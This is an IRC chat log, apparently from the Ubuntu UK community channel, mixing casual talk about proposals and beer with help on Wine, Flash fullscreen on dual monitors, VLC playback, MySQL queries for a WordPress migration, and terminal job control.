 * daubers payed Â£70 in train fares for his missu to have a look in a designer dress shop in swansea as they had a sale on. Â£1500 dress for Â£450 \o/
<popey> czajkowski: first spoke to Clare in 1997, moved in together in 1998, engaged in 1999, married in 2000 :)
<kaushal> Hi
<daubers> I started secondary school in '97
<czajkowski> popey: awww
<kaushal> whats the best method to use IE on Ubuntu ?
<popey> i had the ring made and took it on holiday to propose
<kaushal> I need it to use for ILO2
<popey> kaushal: http://www.tatanka.com.br/ies4linux/page/Main_Page
<czajkowski> popey: you're a right old sweetie aren't you
<popey> heh
<bigcalm> That rocks
<popey> took it in my camera bag through the scanners, was scared they would want me to open it up
 * daubers might go wander around PC world and maplins shortly
<czajkowski> popey: that would have been embarassing
 * mungojerry was mocked in Dixons once by vista-fanbio staff
<daubers> popey: If you talk to the security men nicely they'll let you explain it in another room. My brother did that, but put a note in the bag saying "This is an engagement ring, if you need to know more, please don't ask in front of the missus" and got hauled into another room at the airport
<popey> heh
<popey> luckily they didnt open it
<kaushal> popey: Thanks
<popey> i had it in my pocket on the first night of the holiday
<popey> we went all around the town looking for places to eat
<popey> none seemed appropriate
<popey> I didnt want to sit on plastic patio furniture to propose ;)
<daubers> He also got in trouble in glasgow by sneezing in the check in queue, and when someone gave him a funny look just turned to him and said "Bloody SARs"
<mungojerry> can anyone explain what the logic is surrounding going-down-on-one-knee?
<popey> hehe
<popey> logic!?
<mungojerry> tradition?
<daubers> mungojerry: You make yourself subservient. It's the whole dominance thing in reverse
<popey> you're trying to attribute _logic_ to a tradition?
<czajkowski> *grin*
<mungojerry> i don't understand it at all
<brobostigon> mungojerry: i do believe it has something to do with, you humbling yourself.
<czajkowski> I do love the conversaations in this channel :)
<popey> we ended up in the hotel restaurant
<popey> we talked about how we were happy
<shauno> genuflection is in most cultures.  anything that dips you below their height.  bowing, etc
 * daubers proposed on the hill behind swansea bay looking out over the lights of the city
<popey> i popped the question after the meal
<popey> then the waiter brought some champagne over, unprompted ;)
<daubers> heh
<mungojerry> nice touch
<brobostigon> cool.
<popey> clare said "I just got engaged"
<popey> "Yes madam, I know" :)
<brobostigon> :)
<daubers> right, 50 minutes left until I can get my car. Time to go wind up some PC World numpties
<popey> \o/
 * mungojerry on guildford mount, overlooking london, not on one knee though :P
<brobostigon> daubers: have fun, :)
<shauno> on a gondola in venice, because stereotypes save me from my lack of imagination
<czajkowski> such a romantic bunch in here, ye'd never think it at times :)
<mungojerry> also destroys the myth of the sad single socially awkard geeks using linux
 * brobostigon hasnt found the right girl yet.
<popey> I'll tell you how sad I am..
<mungojerry> minecraft...i know :P
<popey> I actually saw Clare for years before speaking to her
<popey> would look at her lustfully across the pub
<popey> never said a word, didnt know her name
<mungojerry> unrequited love is the strongest kind
<Azelphur> mungojerry: hey, I'm a sad single socially awkward linux using geek :D
<popey> eventually I broke up with a g/f and went out on the beer with mates, she was at the night club, I got drunk and got her number :)
<popey> \o/
<brobostigon> :)
<czajkowski> popey: \o/
<Myrtti> I've been proposed at a bus station
<czajkowski> mungojerry: aye most of the guys in here are married or well on their way their.
<Myrtti> I feel old now, it was 12 years ago
<mungojerry> maybe ubuntu users are the subset of linux users who aren't sad :-|
<brobostigon> mungojerry: interesting theory, i certainly am not, when i have my "ubuntu guru" t-shirt on.
<mungojerry> the first gift i gave my mrs when we started going out was a ITV digital monkey then ..very sought after at the time. now they are a couple: http://www.flickr.com/photos/oimon/5078902395/
<ikonia> popey: ping
<Myrtti> I got an O'Reilly Vi pocket reference :-D
<popey> ikonia: pong
<ikonia> popey: got 2 minutes please ?
<popey> sure
<shauno> I met my wife during the 2006 world cup.  she was a barmaid, and I was the only one drinking at 10am michigan time :/
<popey> hehe
<popey> awesome
<Myrtti> then I was lured to the hotel room with a promise of reflashing my phone with firmware that fixes GPS lock problems
<popey> lol
<Myrtti> it did, which was nice
<popey> "Come up to my room and look at my ROMs!"
<popey> better than etchings/puppies/sweets, that's for sure
<Myrtti> well he had windows laptop!
<Myrtti> I couldn't do it on my Ubuntu
<popey> awww
<Azelphur> haha
<Myrtti> http://www.flickr.com/photos/duncansample/2897182206/ and he took a picture while doing the flashing...
<Myrtti> with the vi pocket reference
<dwatkins> ace, Myrtti - I have to put up with bad quality printouts for vi reference
<Myrtti> we've got quite a collection of pocket references between the two of us, both in paper and epubs
<Myrtti> the pocket ref ebooks are nice on Aldiko, they're more pocketable that way than the paper ones ;-)
<shauno> I use safarionline.  rather nifty.
<Azelphur> I just use a text editor that doesn't require a reference manual to use
 * Azelphur runs
<Myrtti> Azelphur: yeah, I use emacs, the vi pocket ref was to vean me from Emacs ;-)
<Azelphur> haha
<Myrtti> then on the third date or so I had my pink emacs reference babydoll t-shirt on :-D
<Myrtti> just to sneer at him :->
<Azelphur> haha
<czajkowski> Myrtti: :)
<Myrtti> I still think the birthday pressie for my 30th was the best. Too bad I've not had too much opportunities to use it
<Myrtti> Viglen MPC-L â¥
<bigcalm> Mine is gathering dust
<bigcalm> Will find a use for it one day
<Myrtti> mine is in UK where I don't actually have that much use for it
<czajkowski> Myrtti: you should move to the UK :)
<bigcalm> Agreed
<bigcalm> More hours of sun light over here for a start
<Myrtti> czajkowski: alas BF in Germany every other week and now this nightmare here have postponed the plans to unknown future
<bigcalm> s/sun light/day light/
<czajkowski> Myrtti: feck :(
<Myrtti> bigcalm: we've got nicer weather
<Daviey> I've got one in the garage that plays the big ben chimes on the hour, each hour, with the correct number of chimes...
<Daviey> <-- wasteful
<DJones> bigcalm: Have you seen this about double summertime plans http://www.bbc.co.uk/news/magazine-12523164 Sunset around 10:30pm ish, or 11:30pm in northern scotland
<mungojerry> anyone still use their joggler?
<Azelphur> mungojerry: I'm planning to
<mungojerry> djones thats a big vote winner for me
<Azelphur> my microsd card broke, ordered a new one in
<DJones> mungojerry: I'm not too sure about it, thats maybe a bit too light at night going to bed
<mungojerry> better than light at 6am which is what happens march-november
<mungojerry> we waste too much daylight in our bed
<mungojerry> then its dark at 4pm in winter
<DJones> I prefer light in the morning
<mungojerry> i have to slap on eye-mask at 5am even with blackout blinds in my room
<brobostigon> i reckon my self-confidence, has something to do with me believeing i am a failiure.
<mungojerry> brobostigon : reminds me of a tweet i read today: If  you talked to others the way you talk to yourself, would you have any friends?
<brobostigon> mungojerry: interesting,
 * mungojerry wonders whether trying a xen -> vmware VM migration is a good thing to start at 4.35pm
<mungojerry> stupid xen kernel
<Daviey> mungojerry, nah, leave it until Friday afternoon.
<mungojerry> sysadmin's golden rule :P
<mungojerry> i've decided it's more troublesome to migrate a xen vm than installing fresh server.
<Daviey> There is actually a 'law' about doing that... but the name has slipped my mind
<mungojerry> i certainly follow the sysadmin golden rule of no system changes after friday noon, unless you are staying late and weekend working
<Daviey> mungojerry, Warsaw's Second Law.
<mungojerry> i learned something today
<mungojerry> don't tell my boss it's 3pm though
<mungojerry> i've always told him it's 12...and if any alcohol is in your bloodstream, just go home instead
<mungojerry> i learned that by trying to complete programming labs at uni after sampling the boddingtons in the adjoining pub
 * Azelphur drinks some ubuntu cola
<Daviey> boddingtons?!
<bigcalm> Ew
<brobostigon> agreed.
<mungojerry> do they still make boddies?
<bigcalm> Sadly so
<brobostigon> mungojerry: yes.
<mungojerry> it tastes lovely in manchester
<mungojerry> maybe it doesn't travel well
<bigcalm> The adverts were amusing
<bigcalm> There's so much better out there
<mungojerry> yeah, they made it taste better
<Daviey> probably safer to drink than the Manchester tap water.
<brobostigon> bigcalm: timothy taylor landlord, :)
<mungojerry> or the NUS lager
<mungojerry> SU lager
<mungojerry> the comp sci dept in manchester had 2 pubs next door which no other students seemed to go in. good for playing pool and crystal maze, bad for socializing and going in for a quick one at 2pm and coming out at closing
<mungojerry> also next to manchester computing centre - isn't that where the ubuntu manchester meetups are?
<czajkowski> AlanBell: you following Mark Tweets?
<AlanBell> yup
<czajkowski> seems to have gone very well in the Cabinet office today :D
<AlanBell> yup
<czajkowski> http://twitter.com/#!/Mark_Antony/status/39733145326731264  great news!
<jpds> czajkowski: "Good news, everyone" is the saying.
<shauno> holymoly that's an abusive background
<AlanBell> czajkowski: that is lots of good tweets!
<kazade> "Open Government consciously includes Open Source as well as Open Standards, and this is being driven directly by the Coalition Government" ... well, I guess they'd eventually have to do something right..
<czajkowski> AlanBell: I thought so too
<czajkowski> more info tomorrow if I get a blog post out as well
 * czajkowski does love working for her company 
<czajkowski> though got offerend a testing job back home this week
<czajkowski> and possible GOOG today
<czajkowski> ;)
<AlanBell> are you coming to the BCS thing tomorrow with Tariq of the home office?
<czajkowski> AlanBell: time ?
<AlanBell> or is Mark?
<AlanBell> 6PM Southampton street
<czajkowski> AlanBell: have you got a link or someting
<czajkowski> *something
<AlanBell> http://ossg.bcs.org/
<shauno> feels kinda silly raising "nothing's broken for 6 hours" as a trouble ticket.  It's quiet.  Too quiet.
<HazRPG> wow!
<HazRPG> Wine seriously has done some serious work over the years!
 * HazRPG loves it
<HazRPG> also, hey all :)
<brobostigon> evening HazRPG :)
<HazRPG> brobostigon: hey :)
<brobostigon> o/
<HazRPG> brobostigon: steam, and my usual games actually work in ubuntu!
<brobostigon> HazRPG: yay.
<HazRPG> I was insanely shocked!
<brobostigon> :)
 * MartijnVdS makes some spinach.. something
<MartijnVdS> this:  http://blog.garion.org/2011/01/31/recipe-guild-master-spinach-pie/
<HazRPG> brobostigon: I mean last version I recall of using was 0.9.x
<HazRPG> MartijnVdS: hurray :D
<brobostigon> !info wine
<lubotu3> wine (source: wine1.2): Microsoft Windows Compatibility Layer (dummy package). In component universe, is optional. Version 1.2.2-0ubuntu2~maverick2 (maverick), package size 39 kB, installed size 64 kB
<zleap> hi
<brobostigon> HazRPG: ah,
<HazRPG> yeah version 1.2.2 is the one I have currently (beta)
<brobostigon> evening zleap
<zleap> how are you
<HazRPG> brobostigon: I never knew it finally came into an actual release version
<brobostigon> zleap: emotionally unstable, and stressed, how about you?
<brobostigon> HazRPG: yes.
<HazRPG> works so much better than I remember it too, actually showing icons for executables n everything!
<MartijnVdS> HazRPG: it's good food: it has bacon, it has spinach, it has eggs :)
<brobostigon> HazRPG: yes, :)
<zleap> I am good
<brobostigon> brb, foodings.
<zleap> looking to try and get a 11.04 lauch party in paignton even if its a mini one
<HazRPG> MartijnVdS: In egypt we eat something with spinach, and normally I hate spinach, which is really nice sort of similar to that :)
<MartijnVdS> zleap: just you, by yourself, in the pub :)
<HazRPG> so for the first time in a while, I'm actually booted in ubuntu purely right now :D
<HazRPG> currently moving my project files and other bits n bobs :)
<zleap> I am helping ast a local youth music venue,  so I am asking if we can do it there
<HazRPG> zleap: awesome :)
<zleap> Live music + stage
<zleap> willl ask this week properly, i have e-mailed on facebook but need to ask in person
<Myrtti> *sigh*
<zleap> sup Myrtti
<Myrtti> I think I'll go to shower and then to bed in a bit
<MartijnVdS> zleap: I used to volunteer at a place like that, got me loads of good photo ops of bands :)
<zleap> cool
<MartijnVdS> zleap: http://www.flickr.com/photos/treenaks/sets/72157608545647117/
<MartijnVdS> I love this one: http://www.flickr.com/photos/treenaks/2989312895/in/set-72157608545647117/
<HazRPG> brobostigon: the only thing that's bugging me intensely though is the fact that fullscreen applications seem to span over my two screens, such an odd and irrational behaviour (if I recall, has something to do with the nvidia drivers)
<HazRPG> anyone know if there's a work around for that - mainly for flash if anything?
<shauno> I can't offer much more than "yes"  :)
<HazRPG> Myrtti: hey :)
<zleap> nice, lots of emotion in that
<HazRPG> Myrtti: /waves
<HazRPG> MartijnVdS: yeah same, I use to DJ between bands n stuff, was fun :)
<HazRPG> shauno: for the whole fullscreen workaround thing?
<shauno> HazRPG: I know it exists.  I can't fill in much details because it'd be memory from 6-7 years ago
<HazRPG> I can imagine it'll be some sort of config editing :)
<HazRPG> shauno: heh :P
<zleap> this place is like that,  they do rock school so helps local kids learn music, recording and performance etc
<shauno> I've a feeling it's something to do with the xinerama flag in X, so I'd feed that to google
<shauno> twinview (the nvidia way) vs xinerama (the X way) can be odd
<daubers> Woot, swanky bluetooth car kits are swanky
<dwatkins> hi peoples :)
<MartijnVdS> \o dwatkins
<dwatkins> o/ MartijnVdS
<dwatkins> I trust this evening finds everyone well
<dwatkins> HazRPG: have you installed the latest flash plugin? there was an update recently which addressed some fullscreen issues, it might help
<HazRPG> dwatkins: I use chrome, so it automatically installs flash if I recall - however just checked update-manager and I have no updates, so one would assume I'm using the latest
 * daubers puts Captain Scarlet on the telle
<dwatkins> This link: http://kb2.adobe.com/cps/155/tn_15507.html will show the flash player version, HazRPG
<HazRPG> dwatkins: the issue I have (along with games) is that when in fullscreen, it either tries to span the two screens (which is amazing! however the ~2" black gap between screens looks awkward!), or it tries to render in fullscreen on one screen but using the same aspect ratio of the two screens combined - so what you see is a strange widescreen effect on one screen
<dwatkins> If it's 10.2 or above, you have pretty much the latest.
<HazRPG> says "LNX" for player version :S
<HazRPG> dwatkins: if I go to adobe.com/software/flash/about - it says I'm using 10.2.152.27
<dwatkins> bah
<HazRPG> which is the latest version
<dwatkins> oh ok, hmm
<HazRPG> dwatkins: don't get me wrong, fullscreen in flash seems to be better than that it ever has been in linux - which is amazing! However, when you have dual-screens, its still iffy
<HazRPG> it doesn't lag, and doesn't mess things up when its in fullscreen - its just the aspect ratio is wrong
<dwatkins> I'm glad it's faster, perhaps as you suggest this is a driver issue, as the fullscreen thing on dual monitors saeems to work much better in general on other systems now
<HazRPG> clicking into fullscreen, makes the fullscreen image the exact same size as if it was in the page to begin with - except the progress bar goes all the way to the end
<dwatkins> are you able to try a different driver to test, HazRPG?
<HazRPG> oh you mean try the other nvidia driver (the older one)
<dwatkins> yeah
<HazRPG> I guess I could, however I recall using that version in older ubuntu versions and use to still be iffy back then
<HazRPG> its just twinview is strange
<dwatkins> ...and now it's time for bacon (and lettuce and tomato), back later :)
<brobostigon> HazRPG: i cansee how that would be annoying, yes.
<HazRPG> brobostigon: indeed
<HazRPG> see this is what I see when I fullscreen: http://imageupload.org/?di=1612983131728
<dogmatic69> hey all
<dogmatic69> anyone recommend a video watching app, for avi's
<HazRPG> btw, I've cropped out the other screen - since that is just irc ^^
<MartijnVdS> HazRPG: nixiepixel?
<HazRPG> dogmatic69: I use vlc :)
<HazRPG> MartijnVdS: indeed ;)
<dogmatic69> HazRPG: the problem im having is its 8 hours + and i cant speed it up
<dogmatic69> or go to a specific point
<brobostigon> HazRPG: weird.
<davmor2> dogmatic69: totem, vlc, mplayer
<HazRPG> but do you see what I mean by it just doesn't actually change the image size - its like its trying to render it as a "widescreen" ish aspect ratio, on a regular sized monitor
<HazRPG> dogmatic69: how'd ya mean?
<dogmatic69> ill try vlc quick
<dogmatic69> HazRPG: if i click the little bar half way in the vid it just goes back to the start
<HazRPG> dogmatic69: vlc is good because even on videos that don't let you "seek" or move to a specific part in time without it going back to the start, you can just press the speed shortcuts to speed up the video and wait till it gets to the right places for ya :)
<dogmatic69> cool
<dogmatic69> that sounds like what i need
<HazRPG> dogmatic69: heh, yeah that's why I like vlc because you can sort of bypass that - you can't use the skip bar, but you can just speed it up instead ;)
<HazRPG> which works just about the same :)
<HazRPG> brobostigon: isn't it just!
<HazRPG> I'll show you what happens with fullscreen applications
<brobostigon> HazRPG: hmm, :(
<dogmatic69> HazRPG: working great, thanks
<HazRPG> dogmatic69: no problem :)
<dogmatic69> 31.5x :D
<HazRPG> vlc has server me well over the last ... many many years ^^
<dogmatic69> *31.25
<HazRPG> hehe
<andylockran> hey guys
<dogmatic69> i used to use it on windows, nice that it works for nix too
<HazRPG> I think with a bit of config editing you can make it go up to about x50 or more
<dogmatic69> it can open just about anything
<dogmatic69> not like winblows mediafail
<HazRPG> its just jitters too much to make it usable at the moment
<andylockran> anyone know how to chain multiple mySQL queries together.  'INSERT INTO $db.$table ($field) select $field from $database.$table;' works for me
<andylockran> but if I want to do multiple fields, from multiple tables, any ideas how I'd go about it?
<HazRPG> dogmatic69: in winblows vlc doesn't need you to install codec - which is why vlc has been my media player of choice for years
<HazRPG> I think in linux you need the codec installed, however codex in linux work different to windows, so it doesn't bother me so much
<HazRPG> main issue I have with codec in windows is you have to watch out for viruses, where as in linux most codec are found in the repos :)
<HazRPG> andylockran: how do you mean dude?
<HazRPG> andylockran: if your wanting an MySQL statement with several statements inside it before it gets executed... then here's a quick example for you
<ali1234> vlc went rubbish when they switched the UI to Qt, it went really slow
<ali1234> and i like Qt
<andylockran> HazRPG: yeah
<ali1234> but vlc sucks now
<ali1234> mplayer is better again
<HazRPG> SELECT a.*, label.* FROM table_name WHERE a.field_name = 'dude' OR label.another_field_name = 'foobar'
<HazRPG> btw the "a" and "label" can be whatever you want to call them, as long as later on in the SQL statement your using the right field names you want to work from
<HazRPG> ah wait I screwed that up hold on
<HazRPG> SELECT a.*, label.* FROM a.table1, label.table2 WHERE a.field_name = 'dude' OR label.another_field_name = 'foobar'
<andylockran> HazRPG: Reckon I'm nearly sorted with that mate, cheers.
<HazRPG> andylockran: might be better looking into how to chain SQL/MySQL statements together, because it can vary on what your doing - all the above would produce is select all fields for table1 and table2, but only show the results table1 where field_name = 'dude' and table2 where another_field_name = 'foobar'
<andylockran> How to do an update based upon content of the table?
<HazRPG> depends on what kind of update you want to do dude
<andylockran> i.e. update post_content where (select old_content from olddb.table where id=ID);
<andylockran> where ID is the ID in the new DB table, and id is the old pk.
<HazRPG> is this for two tables again?
<HazRPG> or several statements rather
<andylockran> one table is oldpost.article_parts
<andylockran> which stores the content of the posts in a field called body
<andylockran> the second table is wp_posts, which stores the article in post_content.
<HazRPG> right
<HazRPG> erm... lemmie see it would look something like.......
<andylockran> the two share the same pk, so I want to select from the oldtable, and enter into the new table, where the pk matches
<HazRPG> btw, is oldpost the label you gave it from the first example? Or is that the actual table name?
<HazRPG> table name = article_parts?
<andylockran> yeah
<andylockran> the table name is article_parts
<dogmatic69> andylockran: you want to move rows?
<andylockran> dogmatic69: the two table structures were different
<andylockran> I've successfully moved post_date, post_author and title, as well as the pk.
<dogmatic69> andylockran: select insert, and that does not matter
<andylockran> now I just need to move the body from one table, into the new table;
<HazRPG> are you grabbing from article_parts and moving to wp_posts? (that right?)
<andylockran> yaeh, that's what I want to do
<andylockran> but it's an update, rather than select/insert -
<andylockran> as some of the fields are already populater?
<HazRPG> right... erm...
<andylockran> update wp_posts set wp_posts.post_content = tangosite.tcm_mod_article_parts where tangosite.tcm_mod_article_parts.id = ID;
<HazRPG> erm, one last question... is this going in a loop or are you wanting the SQL to do it itself?
<andylockran> something like tjhst
<HazRPG> don't forget, even if your not actually updating the table you still need to reference it first
<andylockran> http://forums.mysql.com/read.php?61,15029,39217#msg-39217
<HazRPG> e.g. UPDATE tables_you_want, other_table_that_won't_be_updated SET ....
<andylockran> i quite fancy SQL to do it itseelf ?
<HazRPG> UPDATE oldpost.article_parts, b.wp_posts  SET oldpost.body = b.post_content WHERE oldpost.id = b.id;
<HazRPG> it should look something like that :)
<HazRPG> if you notice, after SET - this is where your telling it which fields to update
<HazRPG> after UPDATE, this is where you reference the tables you'll be working with
<HazRPG> and after WHERE is where you tell it what conditions to base it off
<andylockran> mysql> UPDATE tangosite.tcm_mod_article_parts t, wordpress.wp_posts w -> SET w.post_content = t.body -> where t.id=w.ID;
<andylockran> wahey
<HazRPG> did that work :)?
<HazRPG> I'm just doing this off the top of my head, but I've been doing MySQL for years so I can code it in my head pretty much :)
<andylockran> yeah
<HazRPG> ;)
<ubuntuuk-planet> [Alistair McKinlay] Dont just be a clone& - http://www.10people.co.uk/index.php/2011/02/dont-just-be-a-clone/
<HazRPG> dogmatic69: you do web development?
<dogmatic69> yip
<HazRPG> andylockran: awesome, well if ya ever need any more help just ask :)
<HazRPG> dogmatic69: I'm always interested in understanding how other people do the same tasks when it comes to doing stuff I know about :)
<dogmatic69> ha, cool
<HazRPG> dogmatic69: do you ever use multi-sql statements often?
<dogmatic69> doubt i need any help
<dogmatic69> never
<dogmatic69> they are slow
<HazRPG> I find sometimes its easier to do a loop - however some are better to do it as a single statement, but what's your take?
<dogmatic69> ... if you mean select from meh where (select....) foo
<HazRPG> yeah that sort of thign
<HazRPG> thing*
<dogmatic69> its slow
<HazRPG> really?
<HazRPG> you'd rather do several statements?
<dogmatic69> ye, slower than normal things
<dogmatic69> or a fat join
<HazRPG> fat joins are just a bad idea in general I find unless you have a proper index of everything your going to do often
<dogmatic69> i use cakephp so its normally multi queries
<dogmatic69> github.com/infinitas/infinitas
<HazRPG> nice :)
<HazRPG> sounds like a great project ;)
<dogmatic69> its pretty cool
<dogmatic69> its like joomla/wp that is aimed at developers but still usable
<dogmatic69> demo.infinitas-cms.org/admin admin:admin
<dogmatic69> and it does loads of things that people on shared hosting cant do
<HazRPG> dogmatic69: when it comes to doing stuff that's sort of related to joins and stuff, I tend to find the best way is to pull out all the data you'll be working with as SELECT statements, store in an array... do the math in PHP, and then remove any junk you may not need, then do a single INSERT or UPDATE statement afterwards to put the data back in
<dogmatic69> ye
<dogmatic69> i do loads in php, but try and get more done on the db so its less load
<HazRPG> agreed
<HazRPG> usually best if you have proper access to the database your working in, since you can set up some funky index tables to speed things up considerably
<dogmatic69> especially when they have access to a db server and separate code server
<HazRPG> haha totally agree
<dogmatic69> all the queries on there are optimised with proper indexes and every thing happens in less than 1ms
<HazRPG> the code I'm working on at the moment was really bad, it did an SQL statement query inside of a for loop... which is a bad bad idea... its worse than doing a fat-join >_<
<HazRPG> because it was a nested for loop, so it was basically for { for { for { // SQL } // SQL } // SQL }
<MadLeomon> probably a stupid question, but for the uniformed what is a fat-join?
<andylockran> HazRPG: ah, didn't quite work :p
<HazRPG> andylockran: hmm, what happened?
<HazRPG> is it missing some data?
<andylockran> it didn't respect the WHERE clause
<HazRPG> MadLeomon: fat-join? Basically when you query several tables and then try to join them all together with the JOIN sql statement
<MadLeomon> gotcha
<HazRPG> all inside one single query
<MadLeomon> thanks for explaining it
<HazRPG> its perfectly fine to do for small databases, but when you've got large amounts of data your working with - it can take up some hefty time to process properly without a good index table
<dogmatic69> HazRPG: cakephp does some things like that out the box, so if you not careful its bad
<andylockran> sorted
<andylockran> was using the wrong field in one of the tables;
<mgdm> it tends not to be so bad if the joins are on integers
<HazRPG> the example I was always told about when I was studying it years ago, was if your working with say employee data for a large corp. that has thousands of staff... doing that kind of query could take hours/days to execute properly - when really you want it to happen almost instantly
<mgdm> (like your standard auto_increment primary key things)
<HazRPG> dogmatic69: yeah I have played with cake a while back
 * dogmatic69 <3 cake
<HazRPG> mgdm: this is true
<HazRPG> mgdm: but remember unique keys are indexed though
<HazRPG> if your working with other fields, it isn't indexed properly as standard - you have to set them up yourself
<mgdm> well, yeah
<HazRPG> :)
 * HazRPG knows things!
<HazRPG> Usually people talk terminal in here, and other stuff and the majority of it whooshes over my head, for once I feel useful :D
<mgdm> heh
<HazRPG> andylockran: easy mistake to do, the one I gave you was only based on what I knew from what you told me :)
<HazRPG> but the general idea works
<HazRPG> andylockran: glad you got it working properly though :)
<HazRPG> mgdm: slowly getting into the terminal though!
<HazRPG> I mean I already knew about sudo!
<HazRPG> and mv
<HazRPG> and cp
<HazRPG> and tar
<HazRPG> I also knew aptitude commands
 * mgdm spends most of his day at the terminal
<HazRPG> since these are all stuff I use often
<mgdm> much of it in Vim coding :)
<HazRPG> mgdm: hehe
<HazRPG> I have started using vim :)
<HazRPG> I've previously used nano too
<HazRPG> although vim is better apparently
<mgdm> it is if you learn how to work it
<HazRPG> I also learned screen, htop, bmon and ssh
<HazRPG> so slowly my command line knowledge is growing - much kudos to shauno, AlanBell and MartijnVdS for that :)
<HazRPG> ooo, I also know logout and shutdown, and exit (sometimes used for some stuff)
<HazRPG> and my favourite is the CTRL+Z for terminating something if I can't figure out how to close something - probably a bad idea to use that though (correct me if I'm wrong though)
<brobostigon> ctrl + c works also.
<HazRPG> brobostigon: is that the same thing?
<HazRPG> as CTRL+Z I mean
<brobostigon> HazRPG: i havent tried ctrl + z, so dont know.
<HazRPG> as far as I know, CTRL+Z is just like a force close essentially
<brobostigon> ctrl + c does that too.
<HazRPG> found it by mistake the first time :)
<brobostigon> :)
<HazRPG> cool
<mgdm> it stops the program
<mgdm> it's not dead, just suspended
<brobostigon> ctrl +c or ctrl + z ?
<mgdm> (pining for the fjords)
<mgdm> ctrl-z
<brobostigon> ah,
<HazRPG> Lunchie: sup dude :D
<shauno> HazRPG: next time you make something disappear with ctrl+Z, try "fg 1" and watch it come back again ;)
<HazRPG> shauno: hmm... so CTRL+Z is bad?
<shauno> not bad, but it doesn't sound like it's what you're looking for
<daubers> HazRPG: It backgrounds a process
<HazRPG> really?
<daubers> HazRPG: Essentially thats how iPhone "multitasking" works
<HazRPG> it always says that its been "stopped" whenever I do it though
<shauno> stopped, not destroyed.
<daubers> HazRPG: Yup, it's as if it's been cryogenically frozen
<HazRPG> ah
<HazRPG> shauno: you use mailing lists often - I just sort of got a telling off for using @name instead using a reply - for those using threaded e-mails
<shauno> yeah.  it's not twitter ;)
<HazRPG> I didn't quite understand what he mean - I understand the whole threading thing, I mean gmail does it
<shauno> it's not a huge thing, if you assume that people read every single mail to the list
<HazRPG> but I clicked reply on his name, it just sends it back off the mailing list not to a specific person - so I don't understand what method he'd rather me do :S
<andylockran> any idea how to get wordpress to generate RSS feed after manually filling db?
<shauno> as soon as you realise people don't, you need an alternative :)
<HazRPG> shauno: yeah I know its not twitter - I *barely* ever use twitter as it is. I got the whole @ thing from various forums
<shauno> HazRPG: generally if you're replying to two topics, it'd be two emails.  that way each reply is kept in it's correct context
<shauno> eg, if I don't find the first few emails in a thread terribly "my thing", I probably won't read the rest of them.  so if you reply to something I was paying attention to, in a thread I wasn't .. I'll never see it
<DJones> HazRPG: I saw that reply to you, must admit, my reaction was that if thats the attitude of people on the list, I wouldn't want to be on the list
<AlanBell> andylockran: http://www.site.com/feed should just work
<andylockran> AlanBell: I've manually filled teh DB
<shauno> just wait until you find someone who wants to whine about whether you top-post or not.  or whether you snipped enough/too much.  mailing lists seem to be stuck in the 80s by default
<HazRPG> heh, I always just junk out anything I'm not replying to - so it's a blank e-mail essentially with only the bit I'm referring to before my replies - but that's just a standard I've always used
<AlanBell> andylockran: unless you have done so spectacularly badly, it should just work!
<AlanBell> andylockran: url?
<andylockran> AlanBell: zrmt.com/feed
<HazRPG> DJones: I thought it was rather harsh seeing that in my e-mail, so far my experience with ubuntu-uk has been very friendly
<HazRPG> DJones: so to see that in my inbox was really shocking
<HazRPG> shauno: still unsure as to how I would reply so the right person is seeing the message?
<DJones> HazRPG: There's an odd person or two on the list who seem to think that the list revolves around them, rather than them being part of a community
<HazRPG> since changing the topic title would screw up the thread in gmail - gmail will see it as being a completely new thread if the topic has been changed
<shauno> HazRPG: you'd reply to the email they sent.  so if you're replying to two topics at once, two emails, rather than mentioning two people in the same email
<andylockran> AlanBell: have I majorly ballsed it up?
<shauno> usually my advice would be "chill, you'll never keep them all happy".  but since you ask :)
<AlanBell> andylockran: yes, but not the database :)
<HazRPG> shauno: trust me I'm the most chilled out guy you *may* meet (might be more chilled out people, but who knows) - usually if I can avoid conflict I will, but if conflicts do start, I try to sort of do what pleases them (if at all any of that rambling makes sense xD)
<AlanBell> andylockran: either a setting somewhere (just checking) or the .htaccess
<HazRPG> shauno: I still don't see how replying to their specific e-mail would change things unless it would send them mail directly to them - just seems like an odd concept (since I have used e-mail clients before)
<HazRPG> shauno: if I recall, I actually clicked reply on his e-mail to begin with lol... but I guess my first response was to Mac first
<andylockran> http://dpaste.com/437183/ AlanBell
<andylockran> that's all that's in the .htaccess
<HazRPG> shauno: ah wait, its piecing together now
<HazRPG> shauno: he basically just did a "tl;dr" to me didn't he :/
<HazRPG> but politely corrected me because he actually read it
<HazRPG> (or tried to be polite...)
<HazRPG> andylockran: no I think he means it might be a setting or something you may need to add into the .htaccess
<shauno> HazRPG: dunno, I haven't read it yet because I'm currently fighting with procmail :)
<HazRPG> shauno: right, so if I'm replying to several people in a thread (e.g. [ubuntu-uk] I used ubuntu server today!)
<HazRPG> instead of hitting reply and just answering everyone in one e-mail, I should actually reply to each person separately - is my understanding of that (I think...)
<HazRPG> DJones, shauno: correct me if I'm wrong though.
<shauno> if they're all in the same thread, I'd go ahead and stick multiple replies in one message
<shauno> I do this all the time.  quote the bit I'm replying to, stick my reply underneath, then quote the next bit/person
<shauno> if that's still a problem for them, reading their email over wap on a 1998 nokia may not be the client that fits their needs
<shauno> they need something that can fit more than 3 words on the screen :)
<HazRPG> shauno: if your not busy, that's the reply I gave (no need to read it, just shows you what I did): http://paste.ubuntu.com/570228/
<HazRPG> shauno: see, normally I would do that in e-mails... however I've noticed over people just do it the way I did it there - so I thought that's what everyone did and followed suit
<AlanBell> andylockran: that .htaccess looks about right
<HazRPG> obviously the paste didn't wrap the text heh :/
<shauno> heh, that's cool.  it gave me the fu required to pull the thread up in gmail :)
<HazRPG> heh
<HazRPG> its the LibreOffice one
<AlanBell> andylockran: http://zrmt.com/?feed=rss
<AlanBell> andylockran: something to do with your permalink settings I think
<HazRPG> shauno: mine is the 3rd e-mail down - his reply was the last one on the list
<AlanBell> andylockran: http://perishablepress.com/press/2008/03/09/what-is-my-wordpress-feed-url/
<shauno> yeah, I see it.  and having a difficult time putting any logic to that one
<HazRPG> its all in the same thread - so I don't see the issue with it
<AlanBell> andylockran: http://zrmt.com/feed/atom/ works
<shauno> replying to multiple people in one email is normal.  the only difference it makes at his end is whether he actually needs to read the thread he's posting in.
<brobostigon> reckon a cli natty install will fit inside a 2gb sdcard?
<HazRPG> shauno: I mean I can understand from an e-mailing client if your only looking at the small sample text which is usually say 50-100 characters long then yeah I can see how he could maybe miss the e-mail... but it was something he was replied in
<HazRPG> or rather, it was something he posted a reply in
<shauno> brobostigon: I hope so.  I've got a 10.04 install in 402Mb.
